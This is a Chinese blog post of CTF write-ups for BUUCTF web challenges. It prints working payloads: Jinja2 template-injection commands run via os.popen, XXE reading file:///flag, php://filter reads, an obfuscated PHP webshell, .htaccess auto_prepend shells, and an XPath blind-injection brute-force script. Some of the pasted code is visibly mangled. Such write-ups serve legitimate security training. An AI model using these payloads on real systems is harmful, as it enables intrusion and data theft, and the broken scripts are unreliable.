记:上周抽空刷的BUU题目,记录一下解题过程的同时与大家分享交流
一个查询页面,提交东西提示wrong
有个源码链接,我们点开看一下
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config.php/*$/i', $_SERVER['PHP_SELF'])) {exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {$guess = (string) $_POST['guess'];if (hash_equals($secret, $guess)) {$message = 'Congratulations! The flag is: ' . FLAG;} else {$message = 'Wrong.';}
}
?>
<!doctype html>
<html lang="en"><head><meta charset="utf-8"><title>Can you guess it?</title></head><body><h1>Can you guess it?</h1><p>If your guess is correct, I'll give you the flag.</p><p><a href="?source">Source</a></p><hr>
<?php if (isset($message)) { ?><p><?= $message ?></p>
<?php } ?><form action="index.php" method="POST"><input type="text" name="guess"><input type="submit"></form></body>
</html>
看提示说是flag在config.php里,现在就是要考虑如何访问
我试了试直接访问
:81/index.php/config.php
//I don't know what you are thinking, but I won't let you read it :)
我们看下代码
发现有个没见过的basename()函数
basename() 函数返回路径中的文件名部分。
括号里面的$_SERVER[‘PHP_SELF’]的作用是,获取当前页面地址,是当前 php 文件相对于网站根目录的位置地址
比如 p a t h 是 / v a r / w w w / h t m l / i n d e x . p h p , 那 么 ‘ b a s e n a m e ( path是/var/www/html/index.php,那么`basename( path是/var/www/html/index.php,那么‘basename(path);` 就是index.php
我们要想访问config,但是config.php被正则过滤了
本题目利用的是basename()漏洞
用不可显字符绕过正则(后面加 %80 – %ff 的任意字符)
构造
/index.php/config.php/%ff?source
因为index.php?source读取源码的,所以我们构造上面的链接。
即可出来flag
知识点:
php5.3:basename()函数漏洞
$_SERVER[‘PHP_SELF’]全局变量
一眼模板注入,F12看到变量名search,和GET
于是测试
?search={{7*7}}
执行了
于是我们
a. 获取变量[]所属的类名 {{[].class}}
页面回显 <type 'list'>b. 获取list所继承的基类名 {{[].__class__.__base__}}页面回显 <type 'object'>c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}
经过查询后,可以借助的类<class ‘warnings.catch_warnings’>,没有内置os模块在第59位。<class ‘site._Printer’> 内含os模块 在第71位,可以借助这些类来执行命令
71位的payload
看目录
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
看看flasklight
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
app.py coomme_geeeett_youur_flek
肯定是长的那个,我们直接读取一下
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}
但我试了没有成功不知道为啥
我们再看没含os的
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
PS:由于使用['__globals__']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['__glo'+'bals__']b. 读取目录flasklight
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
cat
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
贴一个博客,感觉可以看出上面os模块的为啥不行
.html
进去是个购买页面,显示我们钱50,是不够买flag的,抓包买一个1块钱的东西看一下
回显
eyJtb25leSI6IDQ4LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIiwgIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJdfQ==
base64解码一下
{"money": 48, "history": ["Yummy chocolate chip cookie", "Yummy chocolate chip cookie"]}
可以联想到是一个很简单的cookie伪造,我们解码后改一下需要的钱将id按顺序改成2
发包解码出现flag
开局模板注入
由于不知道传参的变量名,所以利用了工具arjun来爆破url参数
爆破出来参数name
接下来就是
:81/?name={{7*7}}
回显49,说明可行
/?name={{().__class__.__bases__[0].__subclasses__()}}
进一步
name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
发现
直接cat
?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('').read()")}}
啥都没有看源码
GFXEIM3YFZYGQ4A=
base32解码
1nD3x.php
于是我们看下
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|.|"|'|log/i', $_SERVER['QUERY_STRING'])) die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); }
}
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|`|{|%|x|&|$|*|||<|"|'|=|?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|.|log|^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!
代码审计,可以看到过滤了好多东西
首先
f($_SERVER)
之前有过类似的题,可以通过url编码绕过
(preg_match(’/^aqua_is_cute$/’, $_GET[‘debu’]) && $_GET[‘debu’] !== ‘aqua_is_cute’)
限定了开头,我们可以换行符绕过
?debu=auqa_is_cute%0a
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
这里变量覆盖漏洞,之前也做过类似的
同时GET和POST同一个参数就可以绕过
file_get_contents($file) !== 'debu_debu_aqua'
我们可以data协议绕过
sha1($shana) === sha1($passwd) && $shana != $passwd
数组绕过
看到这属实麻了,太多东西了不知道如何构造,看完payload后更乱了
源码
<?php
error_reporting(0);
if (isset($_GET['source'])) {show_source(__FILE__);exit();
}
function is_valid($str) {$banword = [// no path traversal'..',// no stream wrapper'(php|file|glob|data|tp|zip|zlib|phar):',// no data exfiltration'flag'];$regexp = '/' . implode('|', $banword) . '/i';if (preg_match($regexp, $str)) {return false;}return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {$page = $json['page'];$content = file_get_contents($page);if (!$content || !is_valid($content)) {$content = "<p>not found</p>n";}
} else {$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF{.+}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
body获取post数据, 对body变量进行json解码判断body变量是否有效,json数据要有page
从page中读出文件名,并读取文件,检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过如果查到content里有相关的ctf字样,则用censored替代,最后输出
我们利用josn转义绕过,
{ "page" : "u0070u0068u0070://filter/convert.base64-encode/resource=/u0066u006cu0061u0067"}
直接伪协议读取
考察无字符的一句话木马
有个文件上传点和一串代码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){$data=substr($contents,5);foreach ($black_char as $b) {if (stripos($data, $b) !== false){die("illegal char");}}
}
直接上传一句话,发现可以上传,但是检测非法字符
尝试很多次之后感觉把什么都给过滤了,考虑到是无字符过滤,之前看过一个博客讲的很详细
.html
echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
于是我们可以编图片马
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
访问上传地点直接post
a=env出flag
该 XML 文件并未包含任何关联的样式信息。文档树显示如下。
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite</email>
<group>CSAW2019</group>
</user>
</users>
写个XML文件
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users><user><username>bob</username><password>passwd2</password><name> Bob</name><email>bob@fakesite</email> <group>CSAW2019</group><intro>&xxe;</intro></user>
</users>
转换成utf-16编码绕过
iconv -f utf8 -t l&l
上传1.xml即可
考察一个没见过的知识点xpath注入
一个登陆界面,奇怪的一点是一定时间内就让刷新页面登陆超时,推测登录的时候一个session只能存在一定的时间
我们抓包试一试
发现了比较奇怪的一段
<username>admin</username><password>admin</password><token>40021de56c0a2bc8386111891TYzNjg2</token>
这里参考博客.html
推测是xpath类型的注入
xpath注入主要有两种,一种是普通的注入,另外一种是布尔注入。普通注入对应union注入,使用|来完成和union类似的功能,布尔注入则是布尔盲注
找到了网上有爆破脚本
import requests
import string
import time
import re
session = requests.session()
base_url = 'you_address'
success = '??'
payload = "' or substring({target},{index},1)='{char}' or '"chars = string.ascii_letters+string.digitsdef get_csrf():res = (base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).textreturn re.findall('<input.*value="(.*?)"./>', res)[0]target = 'string(/*[1]/*[1]/*[2]/*[3])'
# username adm1n
# password cf7414b5bdb2e65ee43083f4ddbc4d9f
data = '<username>{username}</username><password>1</password><token>{token}</token>'result = 'cf7414b5bdb2e65ee43'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Content-Type': 'application/xml','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}
for i in range(20, 35):for j in chars:time.sleep(0.2)temp_payload = payload.format(target=target, index=str(i), char=j)token = get_csrf()temp_data = data.format(username=temp_payload, token=token)res = session.post(url=base_url+'login.php',data=temp_data, headers=headers)# print(temp_data)# )# print())if ) == 5:result += jbreakprint(result)
上面这个不太好用
import requests
import re
s = requests.session()
url ='//login.php'head ={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/xml"
}
find =repile('<input type="hidden" id="token" value="(.*?)" />')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'flag =''
for i in range(1,100):for j in strs:r = s.post(url=url)token = find.)#猜测根节点名称payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#猜测子节点名称payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#猜测accounts的节点payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#猜测user节点payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#跑用户名和密码payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])print(payload_password)r = s.post(url=url,headers=head,data=payload_username))if "非法操作" :flag+=jprint(flag)breakif "用户名或密码错误!" :break
print(flag)
注意:爆破的时候要注释其他的payload
跑出来
<root><accounts><user><id></id><username>gtfly123</username><password>e10adc3949ba59abbe56e057f20f883e</password></user><user><id></id><username>adm1n</username><password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password></user></accounts>
</root>
密码MD5解密后就是gtfly123
进去看源码
ZmxhZyBpcyBpbiAvZmxhZwo=
BASE64解码
flag is in /flag
因为url里有file=,据此我们推测是否能有伪协议
?file=pHp://filter/convert.bASe64-encode/resource=/flag
测试大小写可以绕过
ZmxhZ3thYTA1MmYwMC1jYTg5LTRjYmYtOTExYS1jNmIyOTA4MjM5Yzh9Cg==
解码
flag{aa052f00-ca89-4cbf-911a-c6b2908239c8}
<?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "nHello, world");
?>
看完源码,发现只有index.php能够被解析执行
根据这个条件,我们利用.htaccess文件特性,不过这次是通过设置php_value来设置preg_macth正则回溯次数;先写入.htaccess,再直接通过php://filter伪协议写入一句话
写入shell参考
先写入.htaccess
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess
再直接通过php://filter伪协议写入一句话
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();
但上面方法我没有成功
方法二#
可以通过对过滤的关键字中间添加换行n来绕过stristr函数的检测,不过仍然需要注意添加来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell
?content=php_value%20auto_prepend_fil%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>&filename=.htaccess
flag{2cbbcf14-ca35-4676-a652-fe99370be983}
本文发布于:2024-02-03 06:09:28,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170691176649148.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |